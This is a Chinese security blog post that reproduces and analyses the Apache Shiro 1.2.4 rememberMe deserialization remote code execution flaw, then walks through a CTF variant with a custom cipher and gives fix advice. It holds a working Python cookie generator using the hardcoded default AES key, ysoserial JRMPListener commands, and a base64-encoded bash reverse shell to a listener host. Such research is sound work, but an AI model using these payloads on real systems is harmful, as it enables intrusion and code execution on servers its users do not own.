本文首发于先知:

https://xz.aliyun.com/t/6493

0x01.漏洞复现

环境配置

https://github.com/Medicean/VulApps/tree/master/s/shiro/1

测试

需要一个vps ip提供rmi注册表服务,此时需要监听vps的1099端口,复现中以本机当作vps使用

poc:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

此时在vps上执行:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'curl 192.168.127.129:2345' //command可以任意指定

此时执行poc可以生成rememberMe的cookie:

此时burp发送payload即可,此时因为poc是curl,因此监听vps的2345端口:

此时发送payload即可触发反序列化达到rce的效果

如果要反弹shell,此时vps上执行:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNy4xMjkvMjM0NSAwPiYxIA==}|{base64,-d}|{bash,-i}'

其中反弹shell执行的命令通过base64编码一次

http://www.jackson-t.ca/runtime-exec-payloads.html

上面的地址可以将bash命令进行base64编码
此时vps监听2345端口,并且生成新的payload进行rememberMe的cookie替换

此时就能够收到shell了

0x02.漏洞分析

这里使用idea来运行环境,直接import maven项目即可,另外要配置一下pom.xml中的以下两项依赖,否则无法识别jsp标签

生成cookie的过程

shiro会提供rememberme功能,可以通过cookie记录登录用户,从而记录登录用户的身份认证信息,即下次无需登录即可访问。而其中对rememberme的cookie做了加密处理,漏洞主要原因是加密的AES密钥是硬编码在文件中的,那么对于AES加密算法我们已知密钥,并且IV为cookie进行base64解码后的前16个字节,因此我们可以构造任意的可控序列化payload

处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager,它继承自org.apache.shiro.mgt.AbstractRememberMeManager,其中在AbstractRememberMeManager中定义了加密cookie所需要使用的密钥,当我们成功登录时,如果勾选了rememberme选项,那么此时将进入onSuccessfulLogin方法

接下来将会对登录的认证信息进行序列化并进行加密,其中PrincipalCollection类的实例对象存储着登录的身份信息,而encrypt方法所使用的加密方式正是AES,并且为CBC模式,填充方式为PKCS5

其中ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());这里调用的正是AES的encrypt方法,具体的实现在org/apache/shiro/crypto/JcaCipherService.java文件中,其实现了CiperService接口,并具体定义了加密的逻辑

在encrypt方法中,就是shiro框架自带的加密流程,可以看到此时将iv放在crtpt()加密的数据之前然后返回

加密结束后,将在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中进行base64编码,并通过response返回

解析cookie的过程

此时将在org/apache/shiro/web/mgt/CookieRememberMeManager.java中将传递的base64字符串进行解码后放到字节数组中,因为java的序列化字符串即为字节数组

byte[] decoded = Base64.decode(base64);

此后将调用org/apache/shiro/mgt/AbstractRememberMeManager.java中的getRememberedPrincipals()方法来从cookie中获取身份信息

此时可以看到将cookie中解码的字节数组进行解密,并随后进行反序列化

其中decrypt方法中就使用了之前硬编码的加密密钥,通过getDecryptionCipherKey()方法获取

而我们实际上可以看到其构造方法中实际上定义的加密和解密密钥都是硬编码的密钥

即为Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="),得到解密的密钥以后将在org/apache/shiro/crypto/JcaCipherService.java的decrypt()方法中进行解密,此时从cookie中取出iv与加密的序列化数据

并在decrypt方法中调用调用crypt方法利用密文,key,iv进行解密

解密完成后将返回到org/apache/shiro/mgt/AbstractRememberMeManager.java的convertBytesToPrincipals()方法中,此时deserialize(bytes)将对解密的字节数组进行反序列化,而这里的序列化的类是使用DefaultSerialize,即

this.serializer = new DefaultSerializer<PrincipalCollection>();

此时将调用deserialize()方法来进行反序列化,在此方法中我们就可以看到熟悉的readObject(),从而触发反序列化

Ogeek线下java-shiro

这道题中cookie的加密方式实际上不是默认的AES。因为从之前shiro加解密的过程我们已经知道org/apache/shiro/crypto/CipherService.java是个接口,并且在shiro默认的认证过程中,将会通过在shiro加密序列化字节数组时,将会通过getCiperService()方法返回所需要的加密方式,而默认情况下是AES加密

那么实际上我们也可以定义自己的加密逻辑,这道题目便是自己实现了CiperService接口并自己实现了一个简单的加密和解密的流程
WEB-INF/classes/com/collection/shiro/crypto/ShiroCipherService.class:

package com.collection.shiro.crypto;

import java.io.InputStream;
import java.io.OutputStream;
import java.util.Base64;
import java.util.UUID;
import javax.servlet.http.HttpServletRequest;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.crypto.CryptoException;
import org.apache.shiro.crypto.hash.Md5Hash;
import org.apache.shiro.crypto.hash.Sha1Hash;
import org.apache.shiro.subject.Subject;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.util.ByteSource.Util;
import org.apache.shiro.web.util.WebUtils;
import org.json.JSONObject; public class ShiroCipherService implements CipherService {
public ShiroCipherService() {
} public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
String skey = (new Sha1Hash(new String(key))).toString();
byte[] bkey = skey.getBytes();
byte[] data_bytes = new byte[ciphertext.length]; for(int i = 0; i < ciphertext.length; ++i) {
data_bytes[i] = (byte)(ciphertext[i] ^ bkey[i % bkey.length]);
} byte[] jsonData = new byte[ciphertext.length / 2]; for(int i = 0; i < jsonData.length; ++i) {
jsonData[i] = (byte)(data_bytes[i * 2] ^ data_bytes[i * 2 + 1]);
} JSONObject jsonObject = new JSONObject(new String(jsonData));
String serial = (String)jsonObject.get("serialize_data");
return Util.bytes(Base64.getDecoder().decode(serial));
} public void decrypt(InputStream inputStream, OutputStream outputStream, byte[] bytes) throws CryptoException {
} public ByteSource encrypt(byte[] plaintext, byte[] key) throws CryptoException {
String sign = (new Md5Hash(UUID.randomUUID().toString())).toString() + "asfda-92u134-";
Subject subject = SecurityUtils.getSubject();
HttpServletRequest servletRequest = WebUtils.getHttpRequest(subject);
String user_agent = servletRequest.getHeader("User-Agent");
String ip_address = servletRequest.getHeader("X-Forwarded-For");
ip_address = ip_address == null ? servletRequest.getRemoteAddr() : ip_address;
String data = "{\"user_is_login\":\"1\",\"sign\":\"" + sign + "\",\"ip_address\":\"" + ip_address + "\",\"user_agent\":\"" + user_agent + "\",\"serialize_data\":\"" + Base64.getEncoder().encodeToString(plaintext) + "\"}";
byte[] data_bytes = data.getBytes();
byte[] okey = (new Sha1Hash(new String(key))).toString().getBytes();
byte[] mkey = (new Sha1Hash(UUID.randomUUID().toString())).toString().getBytes();
byte[] out = new byte[2 * data_bytes.length]; for(int i = 0; i < data_bytes.length; ++i) {
out[i * 2] = mkey[i % mkey.length];
out[i * 2 + 1] = (byte)(mkey[i % mkey.length] ^ data_bytes[i]);
} byte[] result = new byte[out.length]; for(int i = 0; i < out.length; ++i) {
result[i] = (byte)(out[i] ^ okey[i % okey.length]);
} return Util.bytes(result);
} public void encrypt(InputStream inputStream, OutputStream outputStream, byte[] bytes) throws CryptoException {
}
}

这里加密的解密的逻辑都有,并且此时encrypt的加密实际上是针对json字符串进行的,解密时也会对json字符串进行同样解密算法,并取其中serialize_data字段的内容进行base64解码以后进行返回,因此我们只要结合ysoserial.jar将生成的payload进行base64编码,并且与放入serialize_data字段中,并且调用此加密逻辑对json字符串进行加密并进行base64编码即可获得rememberme的cookie值,当传送给服务器端后,也将先进行base64解码,然后调用decrypt进行解密,得到json字符串后再将我们放入serialize_data字段中的payload进行反序列化。这里实现的加密也是对称加密,并且通过以下的文件可以看到加解密均是读取服务器上remember.key文件来获取,因此也是硬编码的,因此只要知道该密钥,并且已知加密的逻辑,就可以控制cookie值,来进行反序列化,由下面的逻辑也可以看出初始情况下此密钥为32位
WEB-INF/classes/com/collection/shiro/manager/ShiroRememberManager.class:

package com.collection.shiro.manager;

import com.collection.shiro.crypto.ShiroCipherService;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.InputStream;
import org.apache.commons.lang.RandomStringUtils;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.crypto.hash.Md5Hash;
import org.apache.shiro.web.mgt.CookieRememberMeManager; public class ShiroRememberManager extends CookieRememberMeManager {
private CipherService cipherService = new ShiroCipherService(); public ShiroRememberManager() {
} public CipherService getCipherService() {
return this.cipherService;
} public byte[] getEncryptionCipherKey() {
return this.getKeyFromConfig();
} public byte[] getDecryptionCipherKey() {
return this.getKeyFromConfig();
} private byte[] getKeyFromConfig() {
try {
InputStream fileInputStream = this.getClass().getResourceAsStream("remember.key");
String key = "";
if (fileInputStream != null && fileInputStream.available() >= 32) {
byte[] bytes = new byte[fileInputStream.available()];
fileInputStream.read(bytes);
key = new String(bytes);
fileInputStream.close();
} else {
BufferedWriter writer = new BufferedWriter(new FileWriter(this.getClass().getResource("/").getPath() + "com/collection/shiro/manager/remember.key"));
key = RandomStringUtils.random(32, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_=");
writer.write(key);
writer.close();
} key = (new Md5Hash(key)).toString();
return key.getBytes();
} catch (Exception var4) {
var4.printStackTrace();
return null;
}
}
}

0x03.漏洞修复

1.对于shiro的认证过程而言,如果我们使用了硬编码的默认密钥,或者我们自己配置的AES密钥一旦泄露,都有可能面临着反序列化漏洞的风险,因此可以选择不配置硬编码的密钥,那么此情况下shiro将会为我们每次生成一个随机密钥
2.若需要自己生成密钥,官方提供org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()方法来进行AES的密钥生成

参考

https://www.cnblogs.com/loong-hon/p/10619616.html
https://www.cnblogs.com/maofa/p/6407102.html
https://cloud.tencent.com/developer/article/1472310

Shiro RememberMe 1.2.4远程代码执行漏洞-详细分析的更多相关文章

  1. thinkphp5.0.22远程代码执行漏洞分析及复现

    虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...

  2. Spring框架的反序列化远程代码执行漏洞分析(转)

    欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...

  3. Apache Struts 远程代码执行漏洞(CVE-2013-4316)

    漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...

  4. MongoDB ‘conn’Mongo 对象远程代码执行漏洞

    漏洞名称: MongoDB ‘conn’Mongo 对象远程代码执行漏洞 CNNVD编号: CNNVD-201307-497 发布时间: 2013-07-25 更新时间: 2013-07-25 危害等 ...

  5. Struts2再爆远程代码执行漏洞

    Struts又爆远程代码执行漏洞!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction ...

  6. struts2之高危远程代码执行漏洞,可造成服务器被入侵,下载最新版本进行修复

          Struts2 被发现存在新的高危远程代码执行漏洞,可造成服务器被入侵,只要是Struts2版本 低于 2.3.14.3 全部存在此漏洞.目前官方已经发布了最新的版本进行修复.请将stru ...

  7. 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  8. PHPMailer < 5.2.18 远程代码执行漏洞(CVE-2016-10033)

    PHPMailer < 5.2.18 Remote Code Execution 本文将简单展示一下PHPMailer远程代码执行漏洞(CVE-2016-10033)的利用过程,使用的是别人已经 ...

  9. 隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)

    Preface 这几天关于Office的一个远程代码执行漏洞很流行,昨天也有朋友发了相关信息,于是想复现一下看看,复现过程也比较简单,主要是简单记录下. 利用脚本Github传送地址 ,后面的参考链接 ...

随机推荐

  1. sudo pip3找不到命令

    转自: https://blog.csdn.net/Cryhelyxx/article/details/53384004 编辑/etc/sudoers 找到Defaults env_reset, 将其 ...

  2. css手册中各种符号的意思

    我们经常在查css手册的时候,看到很多符号都不认识,百度了一下,收藏下来.与大家分享 比如 font属性 font:[ [ <font-style> || <font-variant ...

  3. 补充:Python安装

    需要安装Python2.7.Numpy和Matplotlib.由于Python不支持向下兼容,因此在Python3.×下你一定能正常运行Python2.×的代码.上述模块最简单的安装方法就是用软件包安 ...

  4. Codeforces 850C E. Arpa and a game with Mojtaba

    对每个数统计其素数因子各次方数的数,然后通过y = (x>>i) | (x&((1<<(i-1))-1)) 模拟delete x and add  to the lis ...

  5. Jupyter notebook部署引导

    一.简介方面很多博客写得比较好,主要转发几篇: 1.对Jupyter notebook 的整体进行介绍: https://www.itcodemonkey.com/article/6025.html ...

  6. 关于python logging模块读文档的几个心得

    1. logger是分层级的,root是所有logger的祖先. 2. root这个logger在执行logging.warning() 等一系列方法和basicConfig()的时候才会被初始化ha ...

  7. 微信小程序将图片数据流添加到image标签中

    原文:https://blog.csdn.net/OliveLao/article/details/78136121 ---------------------------------------- ...

  8. K-D树

    一般用来解决各种二维平面的点对统计,也许一般非正解? 没时间慢慢写了,打完这个赛季后补细节 建树板子: #include <cstdio> #include <locale> ...

  9. 大数据之路week03--day05(线程 I)

    真的,身体这个东西一定要爱护好,难受的时候电脑都不想去碰,尤其是胃和肾... 这两天耽误了太多时间,今天好转了立刻学习,即刻不能耽误!. 话不多说,说正事: 1.多线程(理解) (1)多线程:一个应用 ...

  10. PHP批量更新MYSQL中的数据

    原文链接:https://blog.csdn.net/wuming19900801/article/details/62893429 $sql = "update newhouse_clic ...